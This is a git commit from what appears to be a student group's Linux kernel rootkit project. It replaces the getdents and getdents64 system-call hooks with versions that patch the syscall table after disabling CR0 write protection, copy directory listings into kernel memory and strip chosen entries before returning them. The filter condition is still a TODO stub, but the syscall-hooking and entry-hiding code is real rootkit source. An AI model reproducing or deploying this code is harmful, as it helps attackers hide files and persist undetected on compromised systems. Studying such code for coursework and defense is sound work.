commit b8eb64075e6419774729437b60bbb8265414d0bc
parent 43fd60c2f0311d673d58cbbe3553686ea5bc3ab1
Author: deurzen <m.deurzen@tum.de>
Date: Sun, 22 Nov 2020 15:34:35 +0100
implements getdents{,64} boilerplate
Diffstat:
5 files changed, 113 insertions(+), 75 deletions(-)
diff --git a/src/filehide.c b/src/filehide.c
@@ -1,18 +1,3 @@
-#include <linux/stddef.h>
-#include <linux/kernel.h>
-#include <linux/export.h>
-#include <linux/time.h>
-#include <linux/mm.h>
-#include <linux/errno.h>
-#include <linux/stat.h>
-#include <linux/file.h>
-#include <linux/fs.h>
-#include <linux/fsnotify.h>
-#include <linux/dirent.h>
-#include <linux/security.h>
-#include <linux/syscalls.h>
-#include <linux/unistd.h>
-
#include "filehide.h"
#include "hook.h"
@@ -27,8 +12,8 @@ void
hide_files(void)
{
disable_protection();
- sys_calls[__NR_getdents] = (void *)filehide_getdents;
- sys_calls[__NR_getdents64] = (void *)filehide_getdents64;
+ sys_calls[__NR_getdents] = (void *)g7_getdents;
+ sys_calls[__NR_getdents64] = (void *)g7_getdents64;
enable_protection();
}
@@ -40,51 +25,3 @@ unhide_files(void)
sys_calls[__NR_getdents64] = (void *)sys_getdents64;
enable_protection();
}
-
-// https://elixir.bootlin.com/linux/v4.4.19/source/fs/readdir.c#L197
-asmlinkage long
-filehide_getdents(unsigned fd, struct linux_dirent __user *dirent, unsigned count)
-{
- typedef struct linux_dirent __user *dirent_t_ptr;
-
- long offset;
- long ret = ((long (*)(unsigned, dirent_t_ptr, unsigned))sys_getdents)(fd, dirent, count);
-
- if (ret <= 0)
- return ret;
-
- for (offset = 0; offset < ret;) {
- dirent_t_ptr cur_dirent = (dirent_t_ptr)(((char *)dirent) + offset);
-
- if (false) // TODO: xattrs user.rootkit = rootkit
- ret -= cur_dirent->d_reclen;
- else
- offset += cur_dirent->d_reclen;
- }
-
- return ret;
-}
-
-// https://elixir.bootlin.com/linux/v4.4.19/source/fs/readdir.c#L278
-asmlinkage long
-filehide_getdents64(unsigned fd, struct linux_dirent64 __user *dirent, unsigned count)
-{
- typedef struct linux_dirent64 __user *dirent64_t_ptr;
-
- long offset;
- long ret = ((long (*)(unsigned, dirent64_t_ptr, unsigned))sys_getdents64)(fd, dirent, count);
-
- if (ret <= 0)
- return ret;
-
- for (offset = 0; offset < ret;) {
- dirent64_t_ptr cur_dirent = (dirent64_t_ptr)(((char *)dirent) + offset);
-
- if (false) // TODO: xattrs user.rootkit = rootkit
- ret -= cur_dirent->d_reclen;
- else
- offset += cur_dirent->d_reclen;
- }
-
- return ret;
-}
diff --git a/src/filehide.h b/src/filehide.h
@@ -2,14 +2,10 @@
#define _GROUP7_FILEHIDE_H
#include <linux/types.h>
-#include <linux/dirent.h>
#include <linux/syscalls.h>
void hide_files(void);
void unhide_files(void);
-asmlinkage long filehide_getdents(unsigned, struct linux_dirent __user *, unsigned);
-asmlinkage long filehide_getdents64(unsigned, struct linux_dirent64 __user *, unsigned);
-
#endif//_GROUP7_FILEHIDE_H
diff --git a/src/hook.c b/src/hook.c
@@ -1,11 +1,19 @@
#include <linux/kallsyms.h>
+#include <linux/slab.h>
#include "hook.h"
void **sys_calls;
-asmlinkage long (*sys_getdents)(unsigned, struct linux_dirent __user *, unsigned);
-asmlinkage long (*sys_getdents64)(unsigned, struct linux_dirent64 __user *, unsigned);
+asmlinkage long (*sys_getdents)(const struct pt_regs *);
+asmlinkage long (*sys_getdents64)(const struct pt_regs *);
+
+struct linux_dirent {
+ unsigned long d_ino;
+ unsigned long d_off;
+ unsigned short d_reclen;
+ char d_name[1];
+};
int
retrieve_sys_call_table(void)
@@ -32,3 +40,92 @@ enable_protection(void)
{
write_cr0(read_cr0() | 0x10000);
}
+
+
+// https://elixir.bootlin.com/linux/v4.19/source/arch/x86/entry/syscall_64.c
+// https://elixir.bootlin.com/linux/v4.19/source/arch/x86/include/asm/ptrace.h#L12
+asmlinkage long
+g7_getdents(const struct pt_regs *pt_regs)
+{
+ typedef struct linux_dirent *dirent_t_ptr;
+
+ unsigned long offset;
+ dirent_t_ptr kdirent, cur_kdirent, prev_kdirent;
+
+ cur_kdirent = prev_kdirent = NULL;
+ dirent_t_ptr dirent = (dirent_t_ptr)pt_regs->si;
+ long ret = sys_getdents(pt_regs);
+
+ if (ret <= 0 || !(kdirent = (dirent_t_ptr)kzalloc(ret, GFP_KERNEL)))
+ return ret;
+
+ if (copy_from_user(kdirent, dirent, ret))
+ goto yield;
+
+ for (offset = 0; offset < ret;) {
+ cur_kdirent = (dirent_t_ptr)((char *)kdirent + offset);
+
+ if (false) { // TODO: detect xattrs user.rootkit = rootkit
+ if (cur_kdirent == kdirent) {
+ ret -= cur_kdirent->d_reclen;
+ memmove(cur_kdirent, (char *)cur_kdirent + cur_kdirent->d_reclen, ret);
+ continue;
+ }
+
+ prev_kdirent->d_reclen += cur_kdirent->d_reclen;
+ } else
+ prev_kdirent = cur_kdirent;
+
+ offset += cur_kdirent->d_reclen;
+ }
+
+ copy_to_user(dirent, kdirent, ret);
+
+yield:
+ kfree(kdirent);
+ return ret;
+}
+
+// https://elixir.bootlin.com/linux/v4.19/source/arch/x86/entry/syscall_64.c
+// https://elixir.bootlin.com/linux/v4.19/source/arch/x86/include/asm/ptrace.h#L12
+asmlinkage long
+g7_getdents64(const struct pt_regs *pt_regs)
+{
+ typedef struct linux_dirent64 *dirent64_t_ptr;
+
+ unsigned long offset;
+ dirent64_t_ptr kdirent, cur_kdirent, prev_kdirent;
+
+ cur_kdirent = prev_kdirent = NULL;
+ dirent64_t_ptr dirent = (dirent64_t_ptr)pt_regs->si;
+ long ret = sys_getdents64(pt_regs);
+
+ if (ret <= 0 || !(kdirent = (dirent64_t_ptr)kzalloc(ret, GFP_KERNEL)))
+ return ret;
+
+ if (copy_from_user(kdirent, dirent, ret))
+ goto yield;
+
+ for (offset = 0; offset < ret;) {
+ cur_kdirent = (dirent64_t_ptr)((char *)kdirent + offset);
+
+ if (false) { // TODO: detect xattrs user.rootkit = rootkit
+ if (cur_kdirent == kdirent) {
+ ret -= cur_kdirent->d_reclen;
+ memmove(cur_kdirent, (char *)cur_kdirent + cur_kdirent->d_reclen, ret);
+ continue;
+ }
+
+ prev_kdirent->d_reclen += cur_kdirent->d_reclen;
+ } else
+ prev_kdirent = cur_kdirent;
+
+ offset += cur_kdirent->d_reclen;
+ }
+
+ copy_to_user(dirent, kdirent, ret);
+
+yield:
+ kfree(kdirent);
+ return ret;
+}
diff --git a/src/hook.h b/src/hook.h
@@ -8,12 +8,13 @@
extern void **sys_calls;
typedef struct {
- void *ours;
+ bool active;
+ void *hook;
void *orig;
-} hook_t;
+} sc_hook_t;
-extern asmlinkage long (*sys_getdents)(unsigned, struct linux_dirent __user *, unsigned);
-extern asmlinkage long (*sys_getdents64)(unsigned, struct linux_dirent64 __user *, unsigned);
+extern asmlinkage long (*sys_getdents)(const struct pt_regs *);
+extern asmlinkage long (*sys_getdents64)(const struct pt_regs *);
int retrieve_sys_call_table(void);
void init_hooks(void);
@@ -21,4 +22,8 @@ void init_hooks(void);
void disable_protection(void);
void enable_protection(void);
+
+asmlinkage long g7_getdents(const struct pt_regs *);
+asmlinkage long g7_getdents64(const struct pt_regs *);
+
#endif//_GROUP7_HOOK_H
diff --git a/src/rootkit.h b/src/rootkit.h
@@ -1,7 +1,10 @@
#ifndef _GROUP7_ROOTKIT_H
#define _GROUP7_ROOTKIT_H
+#include "hook.h"
+
typedef struct {
+ sc_hook_t hooks[16];
bool hiding_files;
} rootkit_t;